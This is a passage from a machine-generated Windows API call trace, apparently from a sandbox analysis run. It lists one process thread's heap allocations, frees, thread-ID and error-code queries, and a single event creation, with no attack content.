Flags=0x0, Size=0x45a) returned 0x3461ac8 [0075.790] GetLastError () returned 0x0 [0075.790] GetLastError () returned 0x0 [0075.791] GetCurrentThreadId () returned 0x9b0 [0075.791] GetLastError () returned 0x0 [0075.791] GetCurrentThreadId () returned 0x9b0 [0075.791] GetLastError () returned 0x0 [0075.791] GetLastError () returned 0x0 [0075.791] GetCurrentThreadId () returned 0x9b0 [0075.791] GetLastError () returned 0x0 [0075.791] GetLastError () returned 0x0 [0075.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0075.791] CloseHandle (hObject=0x2f4) returned 1 [0075.791] GetLastError () returned 0x0 [0075.791] GetCurrentThreadId () returned 0x9b0 [0075.791] GetLastError () returned 0x0 [0075.791] GetLastError () returned 0x0 [0075.791] GetCurrentThreadId () returned 0x9b0 [0075.791] GetLastError () returned 0x0 [0075.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d7d28 | out: hHeap=0x2ad0000) returned 1 [0075.792] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32f8a68, Size=0xac8) returned 0x32f8a68 [0075.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3461ac8 | out: hHeap=0x2ad0000) returned 1 [0075.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846e0 [0075.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5f1) returned 0x33d7d28 [0075.792] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c846e0, Size=0x20) returned 0x3028300 [0075.792] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028300, Size=0x40) returned 0x2a18e18 [0075.792] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e18, Size=0x64) returned 0x2a19428 [0075.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0075.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f8a68 | out: hHeap=0x2ad0000) returned 1 [0075.792] GetCurrentThreadId () returned 0x9b0 [0075.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2f50 [0075.792] GetCurrentThreadId () returned 0x9b0 [0075.792] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x33d6a68 [0075.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d6a68 | out: hHeap=0x2ad0000) returned 1 [0075.792] GetCurrentThreadId () returned 0x9b0 [0075.792] GetCurrentThreadId () returned 0x9b0 [0075.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.793] GetCurrentThreadId () returned 0x9b0 [0075.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f0c18 [0075.793] GetCurrentThreadId () returned 0x9b0 [0075.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x33bebd0 [0075.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f0c18 | out: hHeap=0x2ad0000) returned 1 [0075.793] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad1190, Size=0x380) returned 0x3461ac8 [0075.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x3461e50 [0075.794] GetCurrentThreadId () returned 0x9b0 [0075.794] GetCurrentThreadId () returned 0x9b0 [0075.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x335dae0 [0075.794] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33bebd0 | out: hHeap=0x2ad0000) returned 1 [0075.794] GetCurrentThreadId () returned 0x9b0 [0075.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x3363b00 [0075.794] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abac0 [0075.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183c00 [0075.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84590 [0075.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb50 [0075.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abaf0 [0075.795] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abb50, Size=0x14) returned 0x31838e0 [0075.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abaf0 | out: hHeap=0x2ad0000) returned 1 [0075.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84590 | out: hHeap=0x2ad0000) returned 1 [0075.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183c00 | out: hHeap=0x2ad0000) returned 1 [0075.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abac0 | out: hHeap=0x2ad0000) returned 1 [0075.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838e0 | out: hHeap=0x2ad0000) returned 1 [0075.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c845f0 [0075.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x335dae0 | out: hHeap=0x2ad0000) returned 1 [0075.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x288) returned 0x33dc488 [0075.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f0c18 [0075.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x33c2218 [0075.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f0c18 | out: hHeap=0x2ad0000) returned 1 [0075.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x3365308 [0075.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33c2218 | out: hHeap=0x2ad0000) returned 1 [0075.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dc488 | out: hHeap=0x2ad0000) returned 1 [0075.796] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3028260 [0075.796] GetCurrentThreadId () returned 0x9b0 [0075.796] GetCurrentThreadId () returned 0x9b0 [0075.796] GetCurrentThreadId () returned 0x9b0 [0075.796] GetCurrentThreadId () returned 0x9b0 [0075.796] GetCurrentThreadId () returned 0x9b0 [0075.796] GetCurrentThreadId () returned 0x9b0 [0075.796] GetCurrentThreadId () returned 0x9b0 [0075.796] GetCurrentThreadId () returned 0x9b0 [0075.796] GetCurrentThreadId () returned 0x9b0 [0075.796] GetCurrentThreadId () returned 0x9b0 [0075.797] GetCurrentThreadId () returned 0x9b0 [0075.797] GetCurrentThreadId () returned 0x9b0 [0075.797] GetCurrentThreadId () returned 0x9b0 [0075.797] GetCurrentThreadId () returned 0x9b0 [0075.797] GetCurrentThreadId () returned 0x9b0 [0075.797] GetCurrentThreadId () returned 0x9b0 [0075.797] GetCurrentThreadId () returned 0x9b0 [0075.797] GetCurrentThreadId () returned 0x9b0 [0075.797] GetCurrentThreadId () returned 0x9b0 [0075.797] GetCurrentThreadId () returned 0x9b0 [0075.797] GetCurrentThreadId () returned 0x9b0 [0075.797] GetCurrentThreadId () returned 0x9b0 [0075.797] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.797] GetCurrentThreadId () returned 0x9b0 [0075.797] GetCurrentThreadId () returned 0x9b0 [0075.797] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0075.798] GetCurrentThreadId () returned 0x9b0 [0075.798] GetCurrentThreadId () returned 0x9b0 [0075.798] GetCurrentThreadId () returned 0x9b0 [0075.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de8b8 [0075.798] GetCurrentThreadId () returned 0x9b0 [0075.798] GetCurrentThreadId () returned 0x9b0 [0075.798] GetCurrentThreadId () returned 0x9b0 [0075.798] GetCurrentThreadId () returned 0x9b0 [0075.798] GetCurrentThreadId () returned 0x9b0 [0075.798] GetCurrentThreadId () returned 0x9b0 [0075.798] GetCurrentThreadId () returned 0x9b0 [0075.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.798] GetCurrentThreadId () returned 0x9b0 [0075.798] GetCurrentThreadId () returned 0x9b0 [0075.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.798] GetCurrentThreadId () returned 0x9b0 [0075.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84458 [0075.798] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2f4 [0075.799] GetCurrentThreadId () returned 0x9b0 [0075.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f0c18 [0075.799] GetCurrentThreadId () returned 0x9b0 [0075.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844e8 [0075.799] GetCurrentThreadId () returned 0x9b0 [0075.799] GetCurrentThreadId () returned 0x9b0 [0075.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.799] GetCurrentThreadId () returned 0x9b0 [0075.799] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c844e8, Size=0x20) returned 0x30282d8 [0075.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84590 [0075.799] GetCurrentThreadId () returned 0x9b0 [0075.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84578 [0075.799] GetCurrentThreadId () returned 0x9b0 [0075.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84620 [0075.799] GetCurrentThreadId () returned 0x9b0 [0075.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844a0 [0075.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb80 [0075.800] GetCurrentThreadId () returned 0x9b0 [0075.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846e0 [0075.800] GetCurrentThreadId () returned 0x9b0 [0075.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84680 [0075.800] GetCurrentThreadId () returned 0x9b0 [0075.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84470 [0075.800] GetCurrentThreadId () returned 0x9b0 [0075.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb60 [0075.800] GetCurrentThreadId () returned 0x9b0 [0075.800] GetCurrentThreadId () returned 0x9b0 [0075.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843f8 [0075.800] GetCurrentThreadId () returned 0x9b0 [0075.800] GetCurrentThreadId () returned 0x9b0 [0075.800] GetCurrentThreadId () returned 0x9b0 [0075.801] GetCurrentThreadId () returned 0x9b0 [0075.801] GetCurrentThreadId () returned 0x9b0 [0075.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846b0 [0075.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84698 [0075.801] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84698, Size=0x20) returned 0x3028328 [0075.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb50 [0075.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb80 [0075.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaf0 [0075.801] GetCurrentThreadId () returned 0x9b0 [0075.801] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e18, Size=0x64) returned 0x2a19818 [0075.801] GetCurrentThreadId () returned 0x9b0 [0075.801] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19818, Size=0x8c) returned 0x2ac0f98 [0075.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84530 [0075.801] GetCurrentThreadId () returned 0x9b0 [0075.801] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0f98, Size=0xb8) returned 0x325f170 [0075.801] GetCurrentThreadId () returned 0x9b0 [0075.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84500 [0075.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84548 [0075.802] GetCurrentThreadId () returned 0x9b0 [0075.802] GetCurrentThreadId () returned 0x9b0 [0075.802] GetCurrentThreadId () returned 0x9b0 [0075.802] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1740, Size=0x120) returned 0x2c37148 [0075.802] GetCurrentThreadId () returned 0x9b0 [0075.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f0c18 [0075.802] GetCurrentThreadId () returned 0x9b0 [0075.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846e0 [0075.802] GetCurrentThreadId () returned 0x9b0 [0075.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb60 [0075.802] GetCurrentThreadId () returned 0x9b0 [0075.802] GetCurrentThreadId () returned 0x9b0 [0075.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.802] GetCurrentThreadId () returned 0x9b0 [0075.803] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c846e0, Size=0x20) returned 0x30282d8 [0075.803] GetCurrentThreadId () returned 0x9b0 [0075.803] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30282d8, Size=0x40) returned 0x2a19250 [0075.803] GetCurrentThreadId () returned 0x9b0 [0075.803] GetCurrentThreadId () returned 0x9b0 [0075.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba80 [0075.803] GetCurrentThreadId () returned 0x9b0 [0075.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843f8 [0075.803] GetCurrentThreadId () returned 0x9b0 [0075.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84578 [0075.803] GetCurrentThreadId () returned 0x9b0 [0075.803] GetCurrentThreadId () returned 0x9b0 [0075.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844a0 [0075.803] GetCurrentThreadId () returned 0x9b0 [0075.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84470 [0075.803] GetCurrentThreadId () returned 0x9b0 [0075.803] GetCurrentThreadId () returned 0x9b0 [0075.803] GetCurrentThreadId () returned 0x9b0 [0075.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abac0 [0075.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84620 [0075.804] GetCurrentThreadId () returned 0x9b0 [0075.804] GetCurrentThreadId () returned 0x9b0 [0075.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c845c0 [0075.804] GetCurrentThreadId () returned 0x9b0 [0075.804] GetCurrentThreadId () returned 0x9b0 [0075.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84548 [0075.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaf0 [0075.804] GetCurrentThreadId () returned 0x9b0 [0075.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844e8 [0075.804] GetCurrentThreadId () returned 0x9b0 [0075.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84410 [0075.804] GetCurrentThreadId () returned 0x9b0 [0075.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84530 [0075.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84590 [0075.804] GetCurrentThreadId () returned 0x9b0 [0075.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb80 [0075.805] GetCurrentThreadId () returned 0x9b0 [0075.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846e0 [0075.805] GetCurrentThreadId () returned 0x9b0 [0075.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c845a8 [0075.805] GetCurrentThreadId () returned 0x9b0 [0075.805] GetCurrentThreadId () returned 0x9b0 [0075.805] GetCurrentThreadId () returned 0x9b0 [0075.805] GetCurrentThreadId () returned 0x9b0 [0075.805] GetCurrentThreadId () returned 0x9b0 [0075.805] GetCurrentThreadId () returned 0x9b0 [0075.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84560 [0075.805] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84560, Size=0x20) returned 0x30283f0 [0075.805] GetCurrentThreadId () returned 0x9b0 [0075.805] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283f0, Size=0x40) returned 0x2a19298 [0075.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84560 [0075.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84428 [0075.806] GetCurrentThreadId () returned 0x9b0 [0075.806] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19298, Size=0x64) returned 0x2a19b28 [0075.806] GetCurrentThreadId () returned 0x9b0 [0075.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84698 [0075.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c845a8 [0075.806] GetCurrentThreadId () returned 0x9b0 [0075.806] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0748, Size=0xb8) returned 0x325f0b0 [0075.806] GetCurrentThreadId () returned 0x9b0 [0075.806] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f0b0, Size=0xe8) returned 0x33d1920 [0075.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84440 [0075.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84620 [0075.806] GetCurrentThreadId () returned 0x9b0 [0075.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19818 [0075.806] GetCurrentThreadId () returned 0x9b0 [0075.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19b98 [0075.807] GetCurrentThreadId () returned 0x9b0 [0075.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844b8 [0075.807] GetCurrentThreadId () returned 0x9b0 [0075.807] GetLastError () returned 0x0 [0075.807] GetCurrentThreadId () returned 0x9b0 [0075.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19508 [0075.807] GetCurrentThreadId () returned 0x9b0 [0075.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x68) returned 0x2a19658 [0075.807] GetCurrentThreadId () returned 0x9b0 [0075.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84560 [0075.807] GetCurrentThreadId () returned 0x9b0 [0075.807] GetLastError () returned 0x0 [0075.807] GetCurrentThreadId () returned 0x9b0 [0075.807] GetCurrentThreadId () returned 0x9b0 [0075.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84638 [0075.807] GetCurrentThreadId () returned 0x9b0 [0075.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84560 [0075.808] GetCurrentThreadId () returned 0x9b0 [0075.808] GetCurrentThreadId () returned 0x9b0 [0075.808] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2baad50, Size=0x220) returned 0x33dc488 [0075.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaf0 [0075.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84698 [0075.808] GetCurrentThreadId () returned 0x9b0 [0075.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f0c18 [0075.808] GetCurrentThreadId () returned 0x9b0 [0075.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84428 [0075.808] GetCurrentThreadId () returned 0x9b0 [0075.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb60 [0075.808] GetCurrentThreadId () returned 0x9b0 [0075.808] GetCurrentThreadId () returned 0x9b0 [0075.808] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84428, Size=0x20) returned 0x3028260 [0075.808] GetCurrentThreadId () returned 0x9b0 [0075.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.809] GetCurrentThreadId () returned 0x9b0 [0075.809] GetCurrentThreadId () returned 0x9b0 [0075.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844e8 [0075.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c843f8 [0075.809] GetCurrentThreadId () returned 0x9b0 [0075.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84590 [0075.809] GetCurrentThreadId () returned 0x9b0 [0075.809] GetCurrentThreadId () returned 0x9b0 [0075.809] GetCurrentThreadId () returned 0x9b0 [0075.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaf0 [0075.809] GetCurrentThreadId () returned 0x9b0 [0075.809] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84590, Size=0x20) returned 0x3028238 [0075.809] GetCurrentThreadId () returned 0x9b0 [0075.809] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846e0 [0075.809] GetCurrentThreadId () returned 0x9b0 [0075.809] GetCurrentThreadId () returned 0x9b0 [0075.809] GetCurrentThreadId () returned 0x9b0 [0075.809] GetCurrentThreadId () returned 0x9b0 [0075.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84668 [0075.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84608 [0075.810] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84608, Size=0x20) returned 0x30282d8 [0075.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c846b0 [0075.810] GetCurrentThreadId () returned 0x9b0 [0075.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84410 [0075.810] GetCurrentThreadId () returned 0x9b0 [0075.810] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18f80, Size=0x64) returned 0x2a19888 [0075.810] GetCurrentThreadId () returned 0x9b0 [0075.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84578 [0075.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844b8 [0075.810] GetCurrentThreadId () returned 0x9b0 [0075.810] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19888, Size=0x8c) returned 0x2ac0b70 [0075.810] GetCurrentThreadId () returned 0x9b0 [0075.810] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0b70, Size=0xb8) returned 0x325f170 [0075.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c844d0 [0075.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84488 [0075.811] GetCurrentThreadId () returned 0x9b0 [0075.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84608 [0075.811] GetCurrentThreadId () returned 0x9b0 [0075.811] GetCurrentThreadId () returned 0x9b0 [0075.811] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1740, Size=0x120) returned 0x2c37148 [0075.811] GetCurrentThreadId () returned 0x9b0 [0075.811] GetCurrentThreadId () returned 0x9b0 [0075.811] GetCurrentThreadId () returned 0x9b0 [0075.811] GetCurrentThreadId () returned 0x9b0 [0075.811] GetCurrentThreadId () returned 0x9b0 [0075.811] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84650, Size=0x20) returned 0x30283f0 [0075.811] GetCurrentThreadId () returned 0x9b0 [0075.811] GetCurrentThreadId () returned 0x9b0 [0075.811] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283f0, Size=0x40) returned 0x2a19250 [0075.811] GetCurrentThreadId () returned 0x9b0 [0075.812] GetCurrentThreadId () returned 0x9b0 [0075.812] GetCurrentThreadId () returned 0x9b0 [0075.812] GetCurrentThreadId () returned 0x9b0 [0075.812] GetCurrentThreadId () returned 0x9b0 [0075.812] GetCurrentThreadId () returned 0x9b0 [0075.812] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c844b8, Size=0x20) returned 0x3028300 [0075.812] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028300, Size=0x40) returned 0x2a19370 [0075.812] GetCurrentThreadId () returned 0x9b0 [0075.812] 